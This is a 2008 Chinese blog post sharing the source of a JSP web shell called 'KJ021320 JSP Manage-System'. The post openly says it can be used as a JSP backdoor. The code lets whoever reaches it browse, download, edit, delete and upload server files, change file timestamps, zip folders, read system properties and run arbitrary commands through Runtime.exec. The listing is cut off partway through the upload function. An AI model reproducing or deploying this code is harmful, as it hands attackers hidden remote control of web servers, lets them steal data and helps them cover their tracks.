Jsp文件管理工具
作者: Corbie 日期: 2008-07-03 15:57

可以当jsp后门使用,代码如下:
下载: shell.jsp
- <%@page import="java.util.*,java.io.*,java.sql.*,java.util.zip.*,java.lang.reflect.*,java.net.*,javax.servlet.jsp.*"%>
- <%@page pageEncoding="gbk"%>
- <%!
- final String APP_NAME="KJ021320 JSP Manage-System 1.0";
- int portListen=5000;//set the httpproxy port
- boolean openHttpProxy=false;//set the httpproxy load-on-start-up
- //the main framwork
- void mainForm(String web_Site,JspWriter out)throws Exception{
- out.print("<table width=100% height=100% border=0 bgcolor=menu>");
- out.print("<tr><td height=30 colspan=2>");
- out.print("<table width=100% height=25 border=0>");
- out.print("<form name=address method=post target=FileFrame onSubmit='checkUrl();'>");
- out.print("<tr><td width=60 align=center>FilePath:</td><td>");
- out.print("<input name=FolderPath style=width:100% value='"+web_Site+"' onchange='checkUrl();'>");
- out.print("<input type=hidden name=Action value=F>");
- out.print("<input type=hidden name=Filename>");
- out.print("</td><td width=60 align=center><a href='javascript:checkUrl();'>GOtoLink</a>");
- out.print("</td></tr></form></table></td></tr><tr><td width=148>");
- out.print("<iframe name=Menu src=?Action=M width=100% height=100% frameborder=2 scrolling=yes></iframe></td>");
- out.print("<td width=600>");
- out.print("<iframe name=FileFrame src='?Action=F&FolderPath="+web_Site+"' width=100% height=100% frameborder=1 scrolling=yes></iframe>");
- out.print("</td></tr></table>");
- }
- //menu form to choose
- void mainMenu(JspWriter out,String web_Site)throws Exception{
- out.println("<table>");
- out.println("<tr><td bgcolor=Gray><a href=?Action=M>"+ico(58)+"FileOperation(File.class)</a></td></tr>");
- out.println("<tr><td bgcolor=menu onclick=top.address.FolderPath.value='"+folderReplace(web_Site)+"'><a href='?Action=F&FolderPath="+web_Site+"' target=FileFrame>"+ico(48)+"WEB Folder</a></td></tr>");
- out.println("<tr><td bgcolor=menu><a href=?Action=S target=FileFrame>"+ico(53)+"SystemInfo(System.class)</a></td></tr>");
- out.println("<tr><td bgcolor=menu><a href=?Action=L target=FileFrame>"+ico(53)+"ServletInfo</a></td></tr>");
- out.println("<tr><td bgcolor=menu><a href=?Action=T target=FileFrame>"+ico(53)+"SystemTools</a></td></tr>");
- out.println("<tr><td bgcolor=menu><a href=?Action=i target=FileFrame>"+ico(57)+"Interfaces</a></td></tr>");
- out.println("<tr><td bgcolor=menu><a href='http://blog.csdn.net/kj021320' target=FileFrame>About nonamed(kj021320)</a></td></tr>");
- out.println("</table>");
- }
- //show all files and folders
- void showFiles(JspWriter out,String path)throws Exception{
- File file=new File(path);
- long maxSize=0;
- if(file.isDirectory()&&file.exists()){
- File[] f=file.listFiles();
- out.println("<table><tr bgcolor=menu><td>name</td><td>type</td><td>size</td><td>modify date</td><td>readonly</td><td>can write</td><td>hidden</td><td>Action</td></tr>");
- for(int i=0;i<f.length;i++){
- maxSize=maxSize+f[i].length();
- if(f[i].isDirectory())
- out.println("<tr bgcolor=menu><td><a href=\"javascript:top.address.FolderPath.value='"+folderReplace(f[i].getAbsolutePath())+"/';checkUrl();\">"+ico(48)+f[i].getName()+"</a></td><td> DIR </td><td>"+getSize(f[i].length())+"</td><td>"+new java.util.Date(f[i].lastModified())+"</td><td>"+f[i].canRead()+"</td><td>"+f[i].canWrite()+"</td><td>"+f[i].isHidden()+"</td><td>"+fOperation(true,f[i].getAbsolutePath())+"</td></tr>");
- else
- out.println("<tr><td>"+ico(50)+f[i].getName()+"</td><td> file </td><td>"+getSize(f[i].length())+"</td><td>"+new java.util.Date(f[i].lastModified())+"</td><td>"+f[i].canRead()+"</td><td>"+f[i].canWrite()+"</td><td>"+f[i].isHidden()+"</td><td>"+fOperation(false,f[i].getAbsolutePath())+"</td></tr>");
- }
- out.println("</table>");
- out.print("this folder size:"+getSize(maxSize));
- }
- }
- //show the system information
- void showSystemInfo(JspWriter out)throws Exception{
- Map map=null;
- Set set=null;
- Iterator it=null;
- /*use for jdk1.5
- map=System.getenv();
- set=map.keySet();
- it=set.iterator();
- out.print("<hr>System Env info:<ul>");
- while(it.hasNext()){
- Object oName=it.next();
- out.println("<li>"+oName+" [ "+map.get(oName)+" ]");
- }
- out.print("</ul>");
- */
- map=System.getProperties();
- set=map.keySet();
- it=set.iterator();
- out.println("<hr>System Property info:<ul>");
- while(it.hasNext()){
- Object oName=it.next();
- out.println("<li>"+oName+" [ "+map.get(oName)+" ]");
- }
- out.print("</ul><hr>System CPU :");
- out.print(Runtime.getRuntime().availableProcessors()+" <br>");
- out.print("the JVM Free Memory :"+getSize(Runtime.getRuntime().freeMemory()));
- out.print("<br>the JVM Max Memory :"+getSize(Runtime.getRuntime().maxMemory()));
- }
- //show servlet information
- void servletInfo(ServletConfig config,JspWriter out)throws Exception{
- ServletContext sc=config.getServletContext();
- out.println("Server info: "+sc.getServerInfo()+"<br>");
- out.println("ServletContext name: "+sc.getServletContextName()+"<br>");
- out.println("Major version :"+sc.getMajorVersion()+"<br>");
- out.println("Minor version :"+sc.getMinorVersion()+"<br>");
- Enumeration en=sc.getInitParameterNames();
- String initInfo="init parameter: <br>";
- out.print(initInfo);
- while(en.hasMoreElements()){
- String name=(String)en.nextElement();
- initInfo="key:"+name+" value:"+sc.getInitParameter(name) +"<br>";
- out.print(initInfo);
- }
- }
- //down the server file
- void downFile(String filename,HttpServletResponse res)throws Exception{
- int w=0;
- byte[] buffer=new byte[256];
- byte[] b=(new File(filename)).getName().getBytes();
- String outFile=new String(b,"ISO-8859-1");
- res.reset();
- res.setHeader("Content-disposition","attachment;filename=\""+outFile+"\"");
- ServletOutputStream sos=res.getOutputStream();
- BufferedInputStream bis=null;
- try{
- bis=new BufferedInputStream(new FileInputStream(filename));
- while((w=bis.read(buffer,0,buffer.length))!=-1){
- sos.write(buffer,0,w);
- }
- }catch(Exception e){
- }finally{
- if(bis!=null)bis.close();
- }
- sos.flush();
- res.flushBuffer();
- }
- //delect file
- void deleteFile(String filename,JspWriter out)throws Exception{
- File f=new File(filename);
- if(f.exists()){
- if(f.delete())out.print(filename+"delete success...");
- }else{
- out.print("file not find!!");
- }
- }
- //rename the file
- void renameFile(String filename,JspWriter out)throws Exception{
- int split=filename.indexOf("|");
- String newFilename=filename.substring(split+1);
- filename=filename.substring(0,split);
- File f=new File(filename);
- if(f.exists()){
- if(f.renameTo(new File(newFilename)))out.print(newFilename+" file move success");
- }else{
- out.print("file not find!!");
- }
- }
- //file copy
- void copyFile(String filename,JspWriter out)throws Exception{
- int split=filename.indexOf("|");
- String newFilename=filename.substring(split+1);
- filename=filename.substring(0,split);
- File f=new File(filename);
- BufferedInputStream bis=null;
- BufferedOutputStream bos=null;
- if(f.exists()){
- try{
- bis=new BufferedInputStream(new FileInputStream(filename));
- bos=new BufferedOutputStream(new FileOutputStream(newFilename));
- int s=0;
- while((s=bis.read())!=-1){
- bos.write(s);
- }
- }catch(Exception e){
- out.print("file copy error");
- }finally{
- if(bis!=null)bis.close();
- if(bos!=null)bos.close();
- }
- out.print(newFilename+"file copy success");
- }else{
- out.print("file not find!!");
- }
- }
- //file editor
- void editFile(String filename,JspWriter out)throws IOException{
- File f=new File(filename);
- out.print("<form method=post>File Path:");
- out.print("<input type=text size=80 name=filename value='"+filename+"'>");
- out.print("<input type=button name=kFile onClick='this.form.action=\"?Action=K\";this.form.submit();' value=KeepFile >");
- out.print("<input type=button onClick=editFile(this.form.filename.value); value=ReadFile>");
- out.print("<textarea name=FileContent rows=35 style=width:100%;>");
- if(f.exists()){
- try{
- BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(filename),"Gb2312"));
- String s="";
- while((s=br.readLine())!=null){
- out.println(htmlEntity(s));
- }
- }catch(Exception e){
- out.print("file edit error");
- }finally{
- }
- }
- out.print("</textarea></form>");
- }
- //file save
- void saveFile(String filename,byte[] fileContent,JspWriter out)throws IOException{
- if(filename!=null||fileContent!=null){
- BufferedOutputStream bos=null;
- try{
- bos=new BufferedOutputStream(new FileOutputStream(filename));
- bos.write(fileContent,0,fileContent.length);
- }finally{
- if(bos!=null)bos.close();
- }
- out.print(filename+"file save success");
- }else{
- out.print("Error");
- }
- }
- //chang the file modify date
- void dateChange(String filename,String year,String month,String day,JspWriter out)throws IOException{
- File f=new File(filename);
- if(f.exists()){
- Calendar calendar=Calendar.getInstance();
- calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day));
- if(f.setLastModified(calendar.getTimeInMillis()))
- out.print(filename+"file date change success");
- else
- out.print(filename+"file date change error");
- }else{
- out.println("file not find!!!");
- }
- }
- //run file
- void execFile(String file,JspWriter out)throws Exception{
- int i=0;
- Runtime rt=Runtime.getRuntime();
- Process ps=rt.exec(file);
- InputStreamReader isr = null;
- char[] bufferC=new char[1024];
- try{
- isr=new InputStreamReader(ps.getInputStream(),"GB2312");
- out.print("<textarea rows=35 style=width:100%;>");
- while((i=isr.read(bufferC,0,bufferC.length))!=-1){
- out.print(htmlEntity(new String(bufferC,0,i)));
- }
- }catch(Exception e){
- out.print("run file error");
- }finally{
- if(isr!=null)isr.close();
- }
- out.print("</textarea>");
- systemTools(out);
- }
- //zip zhe folder
- void zip(String zipPath, String srcPath,JspWriter out) throws Exception {
- FileOutputStream output = null;
- ZipOutputStream zipOutput = null;
- try{
- output = new FileOutputStream(zipPath);
- zipOutput = new ZipOutputStream(output);
- zipEntry(zipOutput,srcPath,srcPath,zipPath);
- }catch(Exception e){
- out.print("file zip error");
- }finally{
- if(zipOutput!=null)zipOutput.close();
- }
- out.print("zip ok"+zipPath);
- }
- //add the zip entry
- void zipEntry(ZipOutputStream zipOs, String initPath,String filePath,String zipPath) throws Exception {
- String entryName = filePath;
- File f = new File(filePath);
- if (f.isDirectory()){// check is folder
- String[] files = f.list();
- for(int i = 0; i < files.length; i++)
- zipEntry(zipOs, initPath, filePath + File.separator + files[i],zipPath);
- return;
- }
- String chPh = initPath.substring(initPath.lastIndexOf("/") + 1);// ?????
- int idx=initPath.lastIndexOf(chPh);
- if (idx != -1) {
- entryName = filePath.substring(idx);
- }
- ZipEntry entry;
- entry = new ZipEntry(entryName);
- File ff = new File(filePath);
- if(ff.getAbsolutePath().equals(zipPath))return;
- entry.setSize(ff.length());
- entry.setTime(ff.lastModified());
- //the CRC efficacy
- entry.setCrc(0);
- CRC32 crc = new CRC32();
- crc.reset();
- zipOs.putNextEntry(entry);
- int len = 0;
- byte[] buffer = new byte[2048];
- int bufferLen = 2048;
- FileInputStream input =null;
- try{
- input = new FileInputStream(filePath);
- while ((len = input.read(buffer, 0, bufferLen)) != -1) {
- zipOs.write(buffer, 0, len);
- crc.update(buffer, 0, len);
- }
- }catch(Exception e){
- }finally{
- if(input!=null)input.close();
- }
- entry.setCrc(crc.getValue());
- }
- //file upload to server
- void upfile(HttpServletRequest request,JspWriter out,String filename)throws Exception{
- String boundary = request.getContentType().substring(30);//?????
- ServletInputStream sis=request.getInputStream();
- BufferedOutputStream bos=null;
- byte[] buffer = new byte[1024];
- int line=-1;
- for(int i=0;i<5;i++<
订阅
上一篇
返回
下一篇